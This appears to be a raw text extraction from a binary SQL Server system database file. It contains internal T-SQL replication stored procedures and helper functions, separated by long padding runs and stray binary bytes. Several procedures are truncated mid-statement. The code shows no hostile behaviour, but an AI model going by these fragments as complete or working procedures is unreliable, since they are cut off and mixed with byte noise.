    begin
        exec master.dbo.sp_MS_marksystemobject 'dbo.MSreplication_options'
    end

    /*
     * obsolete check; ver check was to prevent repl upgrade from
     * versions prior to SQL7.0 Beta 3; check is removed by setting @ver_min = -1
    */
    select @ver_min= -1 -- change if later wish to support a minimum upgrade version
    if ( @ver_old < @ver_min ) or ( @force_remove = 1 )
        exec sys.sp_removesrvreplication
    else
    begin
        /* 
         * always need to run instdist.sql to update distribution databases on a distributor
         * setup must restart in non-single user mode so we can shell out to run instdist.sql scripts
        */
        if exists( select * from master.dbo.sysdatabases where category & @db_distbit = @db_distbit )
        begin
            /*
             * Upgrade replication schema and metadata in msdb database -- ONLY FOR DISTRIBUTORS
            */
            exec @retcode = sys.sp_vupgrade_replmsdb
            if @retcode <> 0 or @@error <> 0
                    return (1)
            --
            -- Enumerate distribution databases
            --
            declare #cur_distdb CURSOR LOCAL FAST_FORWARD for 
                select name, has_dbaccess(name) from master.dbo.sysdatabases 
                    where category & @db_distbit = @db_distbit
                    		and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
                for read only

            open #cur_distdb
            fetch #cur_distdb into @dbname, @has_dbaccess
            while ( @@fetch_status <> -1 )
            begin
              -- Verify that this SKU is allowed to be a distributor, otherwise unmark the dist bit but leave the db as is
				exec @retcode= sys.sp_MSsku_allows_replication
				if @@error<>0 or @retcode <> 0
				begin
					EXEC %%DatabaseEx(Name = @dbname).SetDistributor(Value = 0)					
				end
              -- if distribution database is available upgrade it; if offline error out
				else if ( @has_dbaccess = 1 )
                begin
                    raiserror( 21374, 0, 1, @dbname) with nowait
                    EXEC %%DatabaseEx(Name = @dbname).SetCompatibility(Level = 90)

                    select @cmd = quotename(@dbname) + N'.sys.sp_instdist'
                    exec @cmd
                    if @@error <> 0
                        return(1)

                    /*
                     * Process schema and metadata changes for each distribution database
                    */

                    select @cmd = quotename(@dbname) + N'.sys.sp_vupgrade_distdb'
                    exec @cmd
                    if @@error <> 0
                        return(1)
                end
                else
                begin
                    -- all distribution databases must be upgraded before continuing
                    raiserror( 21378, 16, 1, @dbname) with nowait
                end
                
                fetch next from #cur_distdb into @dbname, @has_dbaccess
            end -- end while fetch for distdb processing
            close #cur_distdb
            deallocate #cur_distdb
        end -- process distributors

        -- vupgrade_publisher runs at 
       exec @retcode = sys.sp_vupgrade_publisher 
               @ver_old = @ver_old, 
               @ver_retention = @ver_retention
        if @retcode<>0 or @@error<>0
            return (1)
    
        -- Update subscription database schema
        exec @retcode = sys.sp_vupgrade_subscription_databases
        if @retcode <> 0 or @@error <> 0
            return (1)

        exec sys.sp_vupgrade_registry
        if @retcode <> 0 or @@error <> 0
            return (1)
            
        if (sys.fn_MSrepl_editionid() in (22, 40))-- Express or Web
        begin
            exec @retcode = sys.sp_vupgrade_express_edition
            if @retcode <> 0 or @@error <> 0
                return 1
        end
            
        -- TODO: this warning should be raised only if there is atleast one database that is is merge published
        -- raiserror(20093, 10, 1) -- Infomational msg - to run snapshot and inital merge for upgrade to be complete
    end

    --
    -- Upgrade metadata for defined Oracle publishers
    -- Ignore all errors for now because we do not want replication
    -- upgrade to fail even if Oracle publishing upgrade has some problems.
    begin try
        exec @retcode = sys.sp_vupgrade_heterogeneous_publishers
    end try
    begin catch
        select @retcode = 0
    end catch
    
    -- Upgrade metadata for CDC enabled databases.
    -- Note: sp_cdc_vupgrade_databases catches all raised errors,
    -- and outputs informational messages only. We should not fail
    -- here, even if upgrade fails for one or more CDC enabled databases.
    exec sys.sp_cdc_vupgrade_databases
    
    --
    -- all done
    --
    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	fd<0NN '8CREATE VIEW sys.dm_exec_procedure_stats AS
	SELECT 
		database_id,
		object_id,
		type,
		n.name AS type_desc,
		sql_handle,
		plan_handle,
		cached_time,
		last_execution_time,
		execution_count,
		total_worker_time,
		last_worker_time,
		min_worker_time,	
		max_worker_time,
		total_physical_reads,
		last_physical_reads,
		min_physical_reads,
		max_physical_reads,
		total_logical_writes,
		last_logical_writes,
		min_logical_writes,
		max_logical_writes,
		total_logical_reads,
		last_logical_reads,
		min_logical_reads,
		max_logical_reads,
		total_elapsed_time,
		last_elapsed_time,
		min_elapsed_time,
		max_elapsed_time
	FROM OpenRowset (TABLE PROC_STATS) o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' 
		AND n.value = o.type

09O@ o8create procedure sys.sp_replpostsyncstatus (
    @pubid int, 
    @artid int, 
    @syncstat int,
    @xact_seqno binary(10) OUTPUT
)
as
    declare @retcode int
    /*
    ** Security Check, this proc is called by snapshot agent as DBO on publisher
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
    begin
            return(1)
    end

    exec @retcode = sys.sp_replpostsyncstatus_int @pubid, @artid, @syncstat, @xact_seqno OUTPUT
    if @@ERROR <> 0 or @retcode <> 0
    begin
            return(1)
    end
    return 0
0] 	8create procedure sys.sp_MSarticlecolstatus (
    @artid int,
    @tabid int,
    @colid int,
    @type nvarchar (10),      /* 'publish', 'nonsqlsub' */
    @status bit OUTPUT)
    AS

    SELECT @status = 0
    declare @OPT_ENABLED_FOR_HET_SUB tinyint
    set @OPT_ENABLED_FOR_HET_SUB = 0x4

    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'nonsqlsub'
    BEGIN

        ----------------------------------------------------------
        -- Check all active or subscribed articles for the column.
        ----------------------------------------------------------

    -- Basically, we need to check the following
    -- 1. Whether the column is published in a publication that allows 
    --    heterogeneous subscriptions and has subscriptions on it
    -- 2. Whether the column has any initiated subscriptions (during concurrent
    --    snapshot of another publication) even virtual ones
	IF EXISTS( SELECT sub.artid 
                 FROM dbo.sysarticles art
           INNER JOIN dbo.syssubscriptions sub 
                   ON art.artid = sub.artid
                  AND art.objid = @tabid
           INNER JOIN dbo.syspublications pub
                   ON art.pubid = pub.pubid
           INNER JOIN dbo.sysarticlecolumns sac
                   ON art.artid = sac.artid 
                  AND sac.colid = @colid
                WHERE art.artid <> @artid
                  AND ((sub.status in (1,2) AND (pub.options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB) -- 1.
                   OR (sub.status = 3)) ) -- 2.
	BEGIN
	    SELECT @status = 1
	END
    END
    ELSE
    BEGIN
    
        -----------------------------------------------------------
        -- Check all articles for the column.
        -----------------------------------------------------------
		declare @cdc_tracked_tables table (object_id int)
		
		if object_id('cdc.change_tables') is not null
		begin
			insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
		end

        IF EXISTS( SELECT art.artid FROM sysarticles art join sysarticlecolumns sac
						on art.artid = sac.artid 
                   WHERE art.objid = @tabid
                   AND art.artid <> @artid
                   AND sac.colid = @colid)
			or exists (select * from @cdc_tracked_tables where object_id = @tabid)
        BEGIN
            SELECT @status = 1
        END
    END

    RETURN (0)
0.O 8--
-- Name:	
--		sp_MShelplogreader_agent
--			
-- Description: 
--		Displays the following information on logreader agent:
--			LA id
-- 			name
--			publisher_security_mode
--			publisher_login
--			publisher_password
-- 			job_id
-- 			job_login
-- 			job_password
--	
-- Security: 
--		SA
-- Requires Certificate signature for catalog access
--
-- Returns: 	
--		0 : success
--		1 : failure 		 
--

CREATE PROCEDURE sys.sp_MShelplogreader_agent
(
	@publisher		sysname,
	@publisher_db	sysname
)
AS
BEGIN
	DECLARE @publisher_id int

	-- Security Check: require sysadmin
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN 1
	END

	-- database must be distribution db
	IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
	BEGIN
		RAISERROR (21482, 16, -1, 'sp_MShelplogreader_agent', 'distribution')
		RETURN (1)
	END

	SELECT @publisher_id = server_id
		FROM sys.servers
		WHERE UPPER(name) = UPPER(@publisher)

	SELECT msla.id, 
			msla.name,
			msla.publisher_security_mode,
			msla.publisher_login,
			N'**********' as [publisher_password],
			sjb.job_id,
			sc.credential_identity as [job_login],
			N'**********' as [job_password]
		FROM MSlogreader_agents msla
				JOIN msdb..sysjobs sjb
					ON convert(uniqueidentifier, msla.job_id) = sjb.job_id
				LEFT JOIN msdb..sysjobsteps sj
					ON msla.job_step_uid = sj.step_uid
				LEFT JOIN msdb..sysproxies sp
					ON sj.proxy_id = sp.proxy_id
				LEFT JOIN sys.cred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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<eaN'0jq 8
--
-- Name:    
--          sp_IHmarksubscriptionvalidation
--          
-- Description: 
--          HREPL - marks subscription for validation
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHmarksubscriptionvalidation
(
	@publication	sysname,
	@subscriber		sysname,
	@destination_db	sysname,
	@publisher		sysname,
	@publisher_type	sysname
)
AS
BEGIN
    DECLARE @retcode int
    DECLARE @pubid int
    DECLARE @artid int
    DECLARE @active tinyint
    DECLARE @srvid smallint
    DECLARE @non_sql_flag bit
	DECLARE @repl_freq int
	DECLARE @publisher_id int
  
    -- Initialization
    select @active = 2

    /* Validate names */

    EXECUTE @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    EXECUTE @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    EXECUTE @retcode = sys.sp_validname @destination_db
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    /*
    ** Parameter Check:  @publication
    ** Check to make sure that the publication exists, that it's not NULL,
    ** and that it conforms to the rules for identifiers.
    */
    select	@pubid				= pubid,
			@repl_freq			= repl_freq,
			@publisher_id		= s.srvid
	from	syspublications p,
			master.dbo.sysservers s,
			MSpublications m
	where	p.name				= @publication
	  and	@publisher			= s.srvname
	  and	m.publisher_id		= s.srvid
	  and	m.publication_id	= p.pubid

	if @pubid is null
	begin
		RAISERROR (20026, 16, -1, @publication)
		RETURN (1)
	END
			
    -- Article validation cannot be applied to snapshot publications
    if @repl_freq <> 0
    begin
		RAISERROR (21484, 16, -1, @publication)
		RETURN (1)
    END

    /*
    ** Parameter Check:  @subscriber
    ** Check to make sure that the subscriber exists
    */
    select @subscriber = UPPER(@subscriber)
        
--initialize this to 0, for non-hetero ones if there isn't 
--server entry in master..sysservers, this flag should stay 0 as well, 
  select @non_sql_flag = 0
    SELECT	@srvid			= srvid,
			@non_sql_flag	= nonsqlsub 
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default)	= UPPER(@subscriber) collate database_default

    if @srvid is null
    BEGIN
        RAISERROR (14063, 16, -1)
        RETURN (1)
    END

    if @non_sql_flag = 1
    begin
        RAISERROR (20614, 16, -1)
        RETURN (1)
    end

    -- Wrong dest_db will be caught by the following query

    -- Check to make sure the subscription exists 
    IF NOT EXISTS
	(
		SELECT	*
		FROM	syssubscriptions sub,
				sysextendedarticlesview art,
				syspublications pub
		WHERE	pub.pubid = @pubid
          AND	sub.srvid = @srvid
          AND	sub.artid = art.artid
          AND	art.pubid = pub.pubid
          AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
	)
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END
    
    -- Select an article for that is actively subscribed.
    -- If none is found, do nothing
    select	top 1 @artid		= art.artid 
    FROM	syssubscriptions sub,
			sysextendedarticlesview art,
			MSsubscriptions m
    WHERE	sub.srvid			= @srvid
      AND	sub.artid			= art.artid
      AND	art.pubid			= @pubid
      AND	sub.dest_db			= @destination_db
      AND	m.article_id		= sub.artid
      AND	m.subscriber_id		= sub.srvid
      AND	m.publication_id	= art.pubid
      AND	m.publisher_id		= @publisher_id
      AND	m.status			= @active
    
    if @artid is null
        return 0
        
    declare @command nvarchar (1000)

    -- No need to quote them
    select @command = @subscriber + @destination_db
        
	-- Call sp_ORAmarksubscriptionvalidationto to process the request
	exec @retcode = sys.sp_ORAmarksubscriptionvalidation	@pubid,
															@artid,
															68,
															@command,
															@publisher

	if @retcode <> 0 or @@error <> 0
	    return 1

	return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!`	<	f $,>0, 8create procedure sys.sp_MScheck_agent_instance
    @application_name 	sysname,
    @agent_type 		int = NULL
as
    declare @count_pro int
    set nocount on

    select @count_pro = count(*) 
        from sys.dm_exec_sessions 
        where program_name = @application_name collate database_default

    -- type 3 is for 7.0 distribution agent backward compatibility.
    if @agent_type = 3
    begin
        -- The distribution agent will before connecting to the publisher with unique 
        -- application name
        if @count_pro > 0
            raiserror (21036, 16, -1, 'distribution')
    end
    -- 10 is 7.5 version of the distribution agent.
    else if @agent_type = 10
    begin
        -- The distribution agent will connecting to the publisher with unique 
        -- application name and then check.
        if @count_pro > 1
            raiserror (21036, 16, -1, 'distribution')
    end
    else if @agent_type = 4
    begin
        -- The merge agent will connect to the publisher with unique application name
        -- then call this procedure
        if @count_pro > 1 
            raiserror (21036, 16, -1, 'merge')
    end
    else if @agent_type = 1
    begin
        -- The snapshot agent will connect to the distributiondb with unique application name
        -- then call this procedure
        if @count_pro > 2 
            raiserror (21036, 16, -1, 'snapshot')
    end
    else if @agent_type = 2
    begin
        -- The logreader agent will connect to the distributiondb with unique application name
        -- then call this procedure
        if @count_pro > 1
            raiserror (21036, 16, -1, 'logreader')
    end
    else if @agent_type = 9
    begin
        -- The queuereader agent will connect to the distributiondb with unique application name
        -- then call this procedure
        if @count_pro > 1 
            raiserror (21036, 16, -1, 'queuereader')
    end
0@ 8
--
-- Name:    
--          sp_MSrepl_snapshot_helparticlecolumns
--          
-- Description: 
--          Returns information about an article's columns.  
--
--          For a SQL Server publication, this stored procedure is executed
--          at the Publisher on the publication database.  For a heterogeneous
--          publication, this stored procedure may be executed in any database
--          at the distributor for the associated publisher.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
--
-- Returns:
--          Result set of article properties
--
-- Notes:
--			Snapshot specific version that returns extra precision/scale information
--
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_MSrepl_snapshot_helparticlecolumns
(
	@publication	sysname,
	@article		sysname,
	@publisher		sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@publisher_type		= @publisher_type OUTPUT,
													@rpcheader			= @cmd OUTPUT,
													@skipSecurityCheck	= 1

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_helparticlecolumns'

	EXEC @retcode = @cmd
					@publication,
					@article,
					@publisher,
					@publisher_type,
					1

	RETURN (@retcode)
END
0 8create procedure sys.sp_MSis_identity_insert
(
    @publication sysname
    ,@article sysname
    ,@identity_insert bit output
    ,@artid int = NULL   -- If pass in @artid, you don't need to pass in @publication and @article
    ,@mode tinyint = 1  -- 1 = sync tran proc scripting, 2 = custom cmd proc scripting
)
as
begin
    set nocount on
    declare @pubid int
                ,@source_objid int
                ,@schema_option binary(8)
                ,@modescriptforsynctranproc tinyint
                ,@modescriptforcustomcmdproc tinyint

    --
    -- initialize
    --
    select @identity_insert = 0
            ,@modescriptforsynctranproc = 1
            ,@modescriptforcustomcmdproc = 2
    --
    -- validate @mode
    --
    if (@mode not in (@modescriptforsynctranproc, @modescriptforcustomcmdproc))
        return 1
    --
    -- Get @artid if not there
    --
    if @artid is null
    begin
        select @pubid = pubid from syspublications where name = @publication
        select @artid = artid
                ,@schema_option = schema_option 
        from sysarticles where pubid = @pubid and name = @article
    end     
    else 
    begin
        select @pubid = pubid 
                ,@schema_option = schema_option 
        from sysarticles where artid = @artid
    end
    if (@artid is null)
        return (1)
    --
    -- We need to script identity insert if the following is true:
    -- Publication should exist and
    -- the table should have an identity column and 
    -- the NFR property on the column should be disabled
    -- if the mode is for custom procedures then we should
    -- ensure the schema_option for identity scripting is enabled
    --
    if exists (select * from syspublications where pubid = @pubid)
    begin
        if exists (select sc.object_id 
                    from (( sysarticles sa join sysarticlecolumns sac 
                                    on sa.artid = sac.artid ) 
                                join sys.columns sc 
                                    on sc.object_id = sa.objid and sc.column_id = sac.colid) 
                    where sa.artid = @artid 
                        and OBJECTPROPERTY(sa.objid, 'tablehasidentity') = 1  
                        and COLUMNPROPERTY(sa.objid, sc.name, 'IsIdentity') = 1 
                        and COLUMNPROPERTY(sa.objid, sc.name, 'IsIdNotForRepl') = 0 
                        and (@mode = @modescriptforsynctranproc 
                                or (@mode = @modescriptforcustomcmdproc  
                                    and (cast(@schema_option as int) & 0x4) != 0 )))
        begin
            select @identity_insert = 1
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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), definition)	AS CHECK_CLAUSE
FROM
	sys.check_constraints
0o  u
8create procedure sys.sp_MSpeertopeerfwdingexec
(
	@command					nvarchar(max),
	@publication				sysname,
	@execute					bit = 1,
	@change_results_originator	bit = 0
)
as
begin
	declare @OPT_ENABLED_FOR_P2P int
	
	declare @retcode 	int,
			@cmd_type 	int,
			@pubid		int,
			@artid		int
			
	select @OPT_ENABLED_FOR_P2P = 0x1
		
	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end
	
	begin transaction tran_sp_MSpeertopeerfwdingexec
	save transaction tran_sp_MSpeertopeerfwdingexec

	-- only exec the command if we have been requested to do so
	if @execute = 1
	begin
		exec(@command)
		if @@error <> 0 
		begin
			goto FAILURE
		end
	end
	
	-- if this is not a republisher then we can just commit and exit
	if sys.fn_MSrepl_istranpublished(db_name(),0) = 0
    begin
		goto COMMIT_TRAN
    end

	/*
	 * Here we begin to perform the fwding...
	 */
			
	-- we will post this for the peer publication that is in 
	-- this database and matches the originator publication
	select @pubid = sp.pubid,
  			@artid = min(sa.artid)
    	from syspublications sp
    		join sysextendedarticlesview sa
    			on sp.pubid = sa.pubid
    	where (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
    		and sp.name = @publication
		group by sp.pubid

	-- if we do not find a publication or article then we just do a no-op
	if @pubid is NULL
		or @artid is NULL
	begin
		goto COMMIT_TRAN
	end

	-- Here we will set the command type and command based on 
	-- wether or not we want to have the commands results proxied
	if @change_results_originator = 1
	begin
		-- in this case post as proxied cmd
		select @cmd_type = 42	-- REPL_PEERTOPEERPROXIEDCMD
	end
	else
	begin
		-- in this case post as forwarding cmd
		select @cmd_type = 43	-- REPL_PEERTOPEERFWDINGCMD
	end
	
	exec @retcode = sys.sp_replpostcmd 0, @pubid, @artid, @cmd_type, @command
	if @@error <> 0 or @retcode <> 0 
	begin
		goto FAILURE
	end
   
COMMIT_TRAN:
	commit transaction tran_sp_MSpeertopeerfwdingexec
	return 0

FAILURE:
	-- An error occurred executing a Peer-To-Peer forwarding command.
	raiserror(20806, 16, -1)
	
	rollback transaction tran_sp_MSpeertopeerfwdingexec
	commit transaction tran_sp_MSpeertopeerfwdingexec

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`a4
<	|hNH90 ;8
--
-- Name:
-- fn_MSrepl_editionid
--
-- Description:
--  Function to map serverproperty Edition to a unique number. This function
--  is used to store publisher_engine_edition
--
-- Returns:
--  id of Edition (unique number)
--
-- Security: Internal
--
CREATE FUNCTION sys.fn_MSrepl_editionid ()
RETURNS int
AS
BEGIN
    declare @value_sku int
    -- Map SKU value to a unique number

    -- Denali Enterprise SKU is represented internally as SKU_PREMIUM.
    -- There is no "Premium SKU" exposed in Denali, however, there is still just Enterprise. 
    -- Initial plans to provide a "Premium" SKU could not be backed out, resulting in the need to map Denali Enterprise to the (New) Premium ID value,
    -- whereas downlevel instances will still have the existing SKU_ENTERPRISE value.
    -- EVAL and DEV editions are unaffected bu this design.

    select @value_sku = cast(serverproperty('EditionId') as int)
    return case
                when @value_sku in (0x6B9471A8, 0x2467BCA1, 0xC5AA9665, 0xBFBDDD62, 0x6F9B7B7E)  then 30 -- SKU_ENTERPRISE, SKU_EVAL, SKU_DATA_CENTER, SKU_PREMIUM, SKU_ENTERPRISE_CORE
                when @value_sku = 0x81C1F4D2  then 31 -- SKU_DEVELOPER
                when @value_sku in (0xA485ED98, 0x10FB2A2A)   then 20 -- SKU_STANDARD, SKU_BI
                when @value_sku = 0x4F7C0B2C  then 21 -- SKU_WORKGROUP
                when @value_sku = 0x4D1ABE69   then 22 -- SKU_WEB
                when @value_sku = 0xECB994B5  then 10 -- SKU_PERSONAL
                when @value_sku = 0xB5441F38  then 11 -- SKU_DESKTOP
                when @value_sku in (0xA115F6E9,0xF807B7DF)  then 40 -- SKU_EXPRESS or SKU_EXPRESS with Advanced Services
